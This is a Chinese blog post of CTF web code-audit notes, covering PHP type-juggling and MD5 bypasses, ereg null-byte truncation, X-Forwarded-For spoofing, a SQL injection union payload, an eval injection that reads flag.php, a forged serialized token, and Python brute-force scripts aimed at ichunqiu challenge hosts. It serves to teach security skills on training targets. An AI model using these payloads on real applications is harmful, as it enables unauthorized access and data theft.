CTF-web 第三部分 代码审计

原创

iamsongyu 于 2018-10-09 21:36:03 发布 5170 收藏 20
分类专栏： CTF 理论知识 编程实践 文章标签： CTF 网络安全

本文链接：https://blog.csdn.net/iamsongyu/article/details/82989337


CTF 同时被 3 个专栏收录
35 篇文章 12 订阅
订阅专栏


理论知识
109 篇文章 7 订阅
订阅专栏


编程实践
19 篇文章 0 订阅
订阅专栏

http://www.mxcz.net/tools/rot13.aspx rot-13加密解密
http://www.zjslove.com/3.decode/ 凯撒 当铺 倒叙 维吉尼亚密码

实际上就是阅读有关的校验代码，人为构造特殊的输入或者参数才能拿到flag。需要了解一般的变量命名，判断语句和常用函数等，对于函数的执行流程还是很容易理解的，编程的关键点如下：
一些基本的语法含义

```
php编程中变量$var 字符串"ascd" 函数function fname($参数) 获取http提交数据$_GET('字段名')

定义数组$a = array('value1'=>'value2'); 访问$a['value1']得到值value2
$_REPUEST 是接收了$_GET，$_POST，$_COOKIE 三个的集合，获取其中数据段。 使用方式$requset['字段名'])

在magic_quotes_gpc = On的情况下，如果输入的数据有单引号（'）、双引号（"）、反斜线（\）与 NULL（NULL 字符）等字符都会被加上反斜线。stripcslashes函数删除由 addcslashes函数添加的反斜杠。

设置cookie  setcookie('username','zhaoyun', time()+60);

获取cookie  $_COOKIE['username'];
```

本地环境搭建，使用phpstudy-》其它选项-》站点域名管理 可以观察网站名，根目录等 为了访问本地站点，需要修改host，将网站域名加入到本地127.0.0.1。有些时候我们需要下载的网站或者网页就需要到这里进行使用。

例子:

```
(1)$_GET('username')!=$_GET('password') md5($_GET('username'))===md5($_GET('password'))
输入账户密码不相等 但MD5加密需要相等 可构造payload为?username=QNKCDZO&password=240610708；
但是此处为=== 所以构造的payload为
?username[]=1&password[]=a，这是利用了数组的一些特性。数组的MD5为null
```

（2）ereg("^[a-zA-Z0-9]+$",$_GET('password')) && strpos($_GET('password','--')!==false
密码必须仅为0-9A-Za-z 并且还必须包含'--'
这里利用ereg比较数组和字符串会返回-1 而strpos会返回null 构造?password[]=或者利用ereg的%00截断
构造输入为 password=1%00-- 即可绕过

（3）变量name和变量password不等，但是经过sha1()函数后相等还是数组处理会报错 可以构造
payloadname[]=1&password[]=2

（4）md5加密相等绕过
QNKCDZO与240610708经过md5加密后相等

```
（5）$one=ord('1')--$nine=ord('9');
  $number=3735929054;
  输入temp
 for($i=0;$i<len($number);$i++)
    $digital=ord($temp[$i])

 digital不能在1和9之间 并且number还得等于temp
 所以将3735929054的十六进制赋给password便可。
 构造的payload为?password=0xdeadc0de
```

（6）只包含数字 并且

```
strlen($_GET(['password']))<8&&$_GET(['password'])>999999 并必须包含'-'
ereg正则%00截断 构造科学技术法表示 ?password=1e9%00*-*
```

（7）仅为正则匹配数字，并且包含'#biubiubiu'
直接构造payload为?ctf[]= 或者是?ctf=1%00%23biubiubiu get是需要编码的%23就是#

(8)貌似有点难 http://ctf5.shiyanbar.com/phpaudit/

```
$GetIPs = GetIP();//获取http头的ip 包括HTTP_X_FORWARDED_FOR，REMOTE_ADDR HTTP_CLIENT_IP
if ($GetIPs=="1.1.1.1")
    {
   echo "Great! Key is *********";
}
else{
   echo "错误！你的IP不在访问列表之内！";
}
```

使用火狐插件X-Forwarded-For把ip地址改为1.1.1.1，得到flag

(9)PHP大法 http://ctf5.shiyanbar.com/DUTCTF/index.php
登录提示访问index.php.txt 访问得到源码
if(eregi("hackerDJ",$_GET[id])) 报错
$ET[id]= urldecode(_GET[id]); if($_GET[id] == "hackerDJ") 显示flag

（10）程序逻辑问题 http://ctf5.shiyanbar.com/web/5/index.php

```
post提交user,源码中存在index.txt,源码关键为：
    if($_POST[user] && $_POST[pass]) 存在
        $user = $_POST[user];
        $pass = md5($_POST[pass]); //对传入的pass变量进行md5加密，并赋给变量pass
查询语句$sql = "select pw from php where user='$user'"; //这里是有''的 也就是说提交的数据不用字符串类型
```

将查询结果存放在$query$中，并按照$MYSQL\ \ SSOC$格式传递给row

```
if (($row[pw]) && (!strcasecmp($pass, $row[pw])))
```

要求用户名查询到的用户密码，与MD5(提交的pass)一样就可以通过，当然要求数据库查询得有返回值（这里就是sql注入的技术了，自定义数据库查询返回值）

```
提交数据： user=1' and 1=2 union select concat('21232f297a57a5a743894a0e4a801fc3')%23 &pass=admin //%23是#的%编码 用于注释
```

（11）加密算法进行解密 http://ctf5.shiyanbar.com/web/web200.jpg或
https://images2017.cnblogs.com/blog/1242616/201712/1242616-20171222225414943-1627996700.png
编程如下,在线执行可得到原字符串:

```php
 <?php
function decode($string){
$r='';
$str=base64_decode(strrev(str_rot13($string)));
$str=strrev($str);
for($_i=0;$_i<strlen($str);$_i++){
    $c=substr($str,$_i,1);
    $d=ord($c)-1;
    $c=chr($d);
    $r=$r.$c;
}
return $r;
}

$start="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$r=decode($start);
echo $r;
 ?>
```

（12）说是爆破,实际上是技巧 ichunqiu MiscWeb题目名称：爆破-1

```php
<?php

include "flag.php";

$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
  die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>
```

通过题目可以知道hello变量一定是6位，代码表面的意思是$a=获取提交的hello变量，这里有一个要点:变量值可以当做另一个变量的名字进行引用 $$a可以表示名字为a的变量
PHP一个比较有意思的变量!$GLOBALS：一个包含了全部变量的全局组合数组，变量的名字就是数组的键。构造载荷/?hello=GLOBALS得到结果

（13）php代码的eval注入 ichunqiu MiscWeb 名称：爆破-2

```php
<?php
  include "flag.php";
  $a = @$_REQUEST['hello'];
  eval( "var_dump($a);");
  show_source(__FILE__);
  ?>
```

//单引号和双引号的区别。单引号告诉shell忽略所有特殊字符，而双引号忽略大多数，但不包括$、\、，Tab键的上方、1键的左方的反引号可以将输入定位在``中（定义输出位置）

上一题的方法已经不好用，我们这里尝试利用eval注入。已知根目录下有flag.php 直接输出,构造参数 /?hello=$a);print_r(file("./flag.php")); //

(14)这次真的是爆破 ichunqiu MiscWeb 名称：爆破-3

```
    $_SESSION['whoami'] = 'ea'; $value = $_REQUEST['value'];
    if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){          //提交的value前两个与whoami变量相等，并且6-9位的MD5为0
      $_SESSION['nums']++;
      $_SESSION['whoami'] = $str_rands; //whoami更换 $str_rand为两位的字母[a-z]
      echo $str_rands;
    }
```

//每次nums++后whoami变量更换字符，需要再次进行爆破value值.代码如下：

```python
import hashlib
import random
import requests
# MD5截断数值已知
# 变量值有一定要求
# 求原始数据

# 本题 限制120s 爆破10次以上 变量固定前两个字符，MD5截断为固定值


def md5(s):
    return hashlib.md5(str(s).encode('utf-8')).hexdigest()


# substr(md5($value),5,4)==0)
def findbest(s):
    for i in range(1000000):
        str = s + random.choice(guess)
        str = str + random.choice(guess)
        str = str + random.choice(guess)
        str = str + random.choice(guess)
        str = str + random.choice(guess)
        str = str + random.choice(guess)
        if (md5(str))[5:9] == "0000":
            print(str)
            return str

# 访问并截取新的关键字
def url_open(keystr, url, session):
    payload= "value="+keystr
    respon = a.get(url + payload).text
    print(respon[0:2])
    return respon[0:2], len(respon), respon

# 初始连接 字符集
urllink = "http://aa153e3db8114f409fa459050284db8920827b2ffaa34944.game.ichunqiu.com/?"
# guess = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"]
guess = "abcdefghijklmnopqrstuvwxyz"
a = requests.session()


# 初始key关键字
keyfirst = 'ea'
# 普通返回长度
normallen = 0

for i in range(1, 100):
    # 寻找满足条件的字符串
    keystr = findbest(keyfirst)

    # 请求获取新的key关键字 记录普通长度 比对flag长度
    keyfirst,length, res = url_open(keystr, urllink, a)
    if i == 1:
        normallen =length
    else:
        if normallen < length:
            print(res)
            break
```

（15） 9 十月场 ichunqiu Web题目名称：Login
打开页面是一个登录框 经过多个的测试 发现无注入。。。都是提示error
查看源码提示test1 test1登陆后显示颜文字(╯ ' □')╯ ┻━┻ 并没有什么内容 抓包发现返回字段中存在show=1，请求中添加show=1 ，得到一部分源码

```
if(isset($requset['token']))
        //测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
    {
        $login = unse+rialize(gzuncompress(base64_decode($requset['token'])));
        //gzuncompress:进行字符串压缩
        //unserialize: 将已序列化的字符串还原回 PHP 的值，键值对形式

        $db = new db();
        $row = $db->select('user='".mysql_real_escape_string($login['user'])."'");
        //mysql_real_escape_string() 函数转义 获取login变量中user键的数值

       if($login['user'] === 'ichunqiu') //等于ichunqiu时得到flag
        {
         echo $flag;
        }
    }
```

进行逆向工作，将键值对’user’=>'ichunqiu’先unserialize，再gzcompress，然后base64_encode得到token值
代码如下：

```
<?php
 $a = array('user'=>'ichunqiu');
 $b = base64_encode(gzcompress(serialize($a)));
 echo $b
 ?>
--》 eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA== 将其加入到cookie的token字段中。
```

再次请求得到flag{79d259e9-e80e-4693-8cbf-97588eb0643d}
（16）js ichunqiu Web 名称：象棋 50分
这是一个HTML5象棋，查看源码可以发现：下面有多个调用的外部js脚本 有一个很奇怪的 采用匹配的方式，我们写脚本爆破

2个[abcmlyx]中的字母 + ctf + 3个[0-9]的数字 + .js 配合url进行访问，如果不是404则成功，为了加速 我们使用多线程编程。

```python
#!/usr/bin/python
# coding=utf-8
# 用于在文件或者网址匹配中，有部分是已知的 部分是匹配的未知的 爆破方案
import requests
from multiprocessing.dummy import Pool as ThreadPool


def url_list():
    for i in re1:
        for j in re1:
            for k in re2:
                for l in re2:
                    for m in re2:
                        urllist.append(url+i+j+'ctf'+k+l+m+'.js')  # url是路径  后面是搭配的格式
    return urllist


def url_open(url):
    result = requests.get(url)
    if result.status_code != 404:
        print(result.content.decode('utf-8'))


urllist = []  #地址列表
re1 = 'myx'  # 匹配格式1
re2 = '012346789'  # 匹配格式2
url = 'http://b2c4a37e8a5d4e7e828a863179b388f5d2186fbb504e4cd2.game.ichunqiu.com/js/'  #网址
urllist = url_list()  # 获取所有的可能

pool = ThreadPool()  #多线程开始运作
pool.map(url_open, urllist)  # 函数名字 参数列表
pool.close()
pool.join()
```

（17）“百度杯”2017年春秋欢乐赛 Web 名称：攻击 50分

提示：每个ip只有一次机会。 进入之后就是源码，给的重要的消息如下：

$OST[substr(\text{flag},5,3)]==\text{‘attack’})\{$

if (echo $flag; #每一次成功提交之后ip都会被加入禁止列表 需要重新设置ip

含义：由flag中的6-8的三个字符组成的变量名，在POST的变量中存在该变量，并且它的值为’attack’，我们需要使用脚本爆破。直接提交所有可能的组合，因为每个ip只有一个机会。

proxies不行， X-Forwarded-For也不能用样子。。不管怎么样代码就这样吧

```python
import requests

a = "1234567890"
data = {}
for i in a:
    for j in a:
        for k in a:
            data[i + j + k] = "attack"  # 定义键值对
header = {' X-Forwarded-For': '126.32.3.3'}
proxies = {"http": "123.123.123.123:80"}
print(data)
r = requests.post("http://b0813d96be5e4f81b9a6121e44c9985afc11f1e8c89b4642.game.ichunqiu.com", data=data)
print(r.text)
```

（18）jsfuck加密 2017第二届广东省强网杯线上赛 Web 名称：broken 50分
打开之后是一个jsfuck加密的内容，但是发现并不能执行，发现时损坏的，上网随意测试几个别的加密，修复代码头。发现是一开始的一个字符后少了一个“]“。结果弹出"flag is not here"。

测试即找不到重定位，也找不到别的网页，尝试加密alert("flag is hot here ")，翻译过后有5903个字符，而网页给我们的字符有95484个字符，说明信息在里面还有别的。

看到有个翻译规则是：eval => [][“filter”]“constructor”() 。而我拿到的字符串也符合这个格式。所以我猜测flag在CODE部分。

为了验证我的思路，我把拿到的jsfuck代码扔到编辑器中，找到[“filter”]部分，扣出[ ]中间的代码放到控制台中运行，得出来的结果是：“filter”。同理，我再抠出[“constructor”]中间的内容，结果是Array [“constructor”]。好了，把这两部分的内容删掉，再删去最后的两个小括号，剩下的就是CODE代码。然后放到控制台中运行
结果得出：“var flag=“flag{**********}”;alert(‘flag is not here’);”

（19）2016全国大学生信息安全竞赛-破译 150
给出的是很多的字母的加密信息，初步认定为凯撒加密，很明显最后一个就是flag的格式，经过多个位移测试，找到最后为 f8ag{gs182d9hct9abc5d}的。

看出仍旧是发生了替换的编码方式，因此我们观察代码的规律，将替换的方法得到，最后得到了flag。其中有两段的英文还是比较容易认出来的，写个脚本替换一下就可以。